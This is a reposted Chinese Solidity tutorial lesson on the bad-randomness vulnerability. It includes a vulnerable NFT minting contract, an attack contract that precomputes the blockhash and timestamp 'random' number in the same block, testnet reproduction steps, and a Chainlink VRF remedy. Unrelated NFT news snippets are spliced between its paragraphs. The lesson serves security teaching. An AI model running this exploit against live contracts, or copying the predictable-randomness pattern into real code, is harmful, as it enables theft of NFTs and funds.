比特幣交易所 比特幣交易所
Ctrl+D 比特幣交易所
ads
首頁 > DOT > Info

WTF Solidity 合約安全: S07. 壞隨機數

Author:

Time:1900/1/1 0:00:00

我最近在重新學solidity,鞏固一下細節,也寫一個“WTF Solidity極簡入門”,供小白們使用(編程大佬可以另找教程),每周更新1-3講。

這一講,我們將介紹智能合約的壞隨機數(Bad Randomness)漏洞和預防方法,這個漏洞經常在 NFT 和 GameFi 中出現,包括 Meebits,Loots,Wolf Game等。

很多以太坊上的應用都需要用到隨機數,例如NFT隨機抽取tokenId、抽盲盒、gamefi戰斗中隨機分勝負等等。但是由于以太坊上所有數據都是公開透明(public)且確定性(deterministic)的,它沒有其他編程語言一樣給開發者提供生成隨機數的方法,例如random()。很多項目方不得不使用鏈上的偽隨機數生成方法,例如 blockhash() 和 keccak256() 方法。

壞隨機數漏洞:攻擊者可以事先計算這些偽隨機數的結果,從而達到他們想要的目的,例如鑄造任何他們想要的稀有NFT而非隨機抽取。更多的內容可以閱讀 WTF Solidity極簡教程 第39講:偽隨機數。

“哥布林” GoblintTown.wtf NFT系列市值突破1億美元:金色財經報道,據最新數據顯示,“哥布林” GoblintTown.wtf NFT系列市值突破1億美元,本文撰寫時達到1.105億美元,交易額為6834萬美元。此外,該NFT系列地板價已升至7.1 ETH,24小時漲幅達到37.18%。Goblintown NFT 通過免費公售的形式在以太鏈上發售,發行總數量為 9999 個,其中Goblintown #6485以77.75 ETH成交,約合 150,507.29 美元,為目前該系列最高交易記錄。[2022/6/6 4:04:39]

下面我們學習一個有壞隨機數漏洞的 NFT 合約: BadRandomness.sol。

contract BadRandomness is ERC721 {    uint256 totalSupply;    // 構造函數,初始化NFT合集的名稱、代號    constructor() ERC721("", ""){}    // 鑄造函數:當輸入的 luckyNumber 等于隨機數時才能mint    function luckyMint(uint256 luckyNumber) external {        uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number        require(randomNumber == luckyNumber, "Better luck next time!");        _mint(msg.sender, totalSupply); // mint        totalSupply++;    }}它有一個主要的鑄造函數 luckyMint(),用戶調用時輸入一個 0-99 的數字,如果和鏈上生成的偽隨機數 randomNumber 相等,即可鑄造幸運 NFT。偽隨機數使用 blockhash 和 block.timestamp 聲稱。這個漏洞在于用戶可以完美預測生成的隨機數并鑄造NFT。

仿goblintown.wtf的NFT項目進入OpenSea交易榜前五:金色財經消息,據OpenSea數據顯示,仿goblintown.wtf(與其畫風相似)的NFT項目zombiestown.wtf 24小時交易額達到578.7ETH,進入OpenSea 24小時交易額排行第五名。截至目前發稿時,zombiestown.wtf的地板價為0.14ETH。行情波動較大,請做好風險控制。

此前今日上午消息,goblintown.wtf NFT系列地板價突破8ETH,24小時交易額排名在OpenSea達到第一。[2022/6/2 3:58:28]

下面我們寫個攻擊合約 Attack.sol。

contract Attack {    function attackMint(BadRandomness nftAddr) external {        // 提前計算隨機數        uint256 luckyNumber = uint256(            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))        ) % 100;        // 利用 luckyNumber 攻擊        nftAddr.luckyMint(luckyNumber);    }}攻擊函數 attackMint()中的參數為 BadRandomness合約地址。在其中,我們計算了隨機數 luckyNumber,然后將它作為參數輸入到 luckyMint() 函數完成攻擊。由于attackMint()和luckyMint()將在同一個區塊中調用,blockhash和block.timestamp是相同的,利用他們生成的隨機數也相同。

goblintown.wtf系列NFT交易額突破5000萬美元:金色財經報道,據nftgo最新數據顯示,“哥布林”goblintown.wtf 系列 NFT交易額已突破 5000 萬美元,截至目前為 5067 萬美元,交易額排名前三的分別是goblintown #6485(77.75 ETH)、goblintown #8995(69.42 ETH)和goblintown #9249(31.04 ETH)。[2022/6/2 3:58:25]

由于 Remix 自帶的 Remix VM不支持 blockhash函數,因此你需要將合約部署到以太坊測試鏈上進行復現。

部署 BadRandomness 合約。

部署 Attack 合約。

將 BadRandomness 合約地址作為參數傳入到 Attack 合約的 attackMint() 函數并調用,完成攻擊。

調用 BadRandomness 合約的 balanceOf 查看Attack 合約NFT余額,確認攻擊成功。

Goblintown.wtf NFT近7日交易額超1400萬美元:金色財經消息,據歐科云鏈鏈上大師NFT交易榜單顯示,Goblintown.wtf NFT近7日交易額已超1400萬美元,6天地板價漲超500%。目前該NFT項目已超越Otherdeed for Otherside、BAYC,成為近期交易量最暢銷的NFT。[2022/5/30 3:50:35]

我們通常使用預言機項目提供的鏈下隨機數來預防這類漏洞,例如 Chainlink VRF。這類隨機數從鏈下生成,然后上傳到鏈上,從而保證隨機數不可預測。更多介紹可以閱讀 WTF Solidity極簡教程 第39講:偽隨機數。

這一講我們介紹了壞隨機數漏洞,并介紹了一個簡單的預防方法:使用預言機項目提供的鏈下隨機數。NFT 和 GameFi 項目方應避免使用鏈上偽隨機數進行抽獎,以防被黑客利用。

推特:@0xAA_Science|@WTFAcademy_

社區:Discord|微信群|官網 wtf.academy

fees.wtf已開放Discord頻道并將24小時內公布空投合約地址:1月12日消息,Gas使用統計查詢網站fees.wtf在其社交網站公布 Discord 頻道,并宣布將于24小時內公布空投相關合約地址。

fees.wtf 曾于1月4日宣布將發行 Token 空投,合約在激活前將會有倒計時以確保公平。[2022/1/12 8:43:35]

所有代碼和教程開源在github: github.com/AmazingAng/WTFSolidity

來源:bress

Bress

個人專欄

閱讀更多

金色早8點

比推 Bitpush News

Foresight News

PANews

Delphi Digital

區塊鏈騎士

深潮TechFlow

鏈捕手

區塊律動BlockBeats

DeFi之道

Tags:BSPNBSINTNFTBSPAY幣nbs幣最新消息INT幣為什么1000元NFTL

DOT
2022年鏈上之最:6個驚人的數字_BTC

原文標題:《2022 Blockchain Awards》原文作者:Conor Grogan,Coinbase 戰略主管;前橋水基金經理 原文編譯:czgsws 2022 鏈上遠比以往瘋狂.

1900/1/1 0:00:00
萬字長文講透AI藝術:緣起、意義和未來(上篇)_STA

前言 今年 AI 藝術熱潮源于海外 AI 技術在圖像生成領域的革命性進步,以 Disco Diffusion、Stable Diffusion、Midjourney 等為頭部代表的擴散模型(Di.

1900/1/1 0:00:00
金色觀察 | 無助記詞的自我托管:一文讀懂MPC和智能合約錢包_MPC

文/Nichanan Kesonpat,1KX;譯/金色財經xiaozou自我托管一直被譽為管理加密資產的最佳實踐.

1900/1/1 0:00:00
模塊化與單片化優缺點解析:為什么單片鏈仍是 DeFi 協議的最好選擇?_BSP

原文作者:Kevin 目前模塊化區塊鏈熱度不減,其誕生的原因源自于單片鏈的局限和缺陷。 什么是」模塊化「? 在軟件工程開發中,」模塊化「是指將代碼進行解耦, 使每個模塊的功能獨立, 模.

1900/1/1 0:00:00
3個原因解釋為什么比特幣、以太坊和山寨幣可能經歷動蕩的一周_加密貨幣

文:KYLE WHITE比特幣的波動率處于歷史低點,現貨市場的資金流入仍然低迷,本周的經濟日歷表明,波動率將動搖加密市場。延續2022年的趨勢,加密市場缺乏積極的興奮點.

1900/1/1 0:00:00
加密貨幣的終局已經到來了嗎?我們將何去何從?_FTX

原文標題:《Where do we go from here?》 撰文:knower 編譯:RR 圖片來源:由 無界版圖AI 工具生成有沒有人能告訴你明年會發生什么?下一個十年呢?也許是下個世紀.

1900/1/1 0:00:00
ads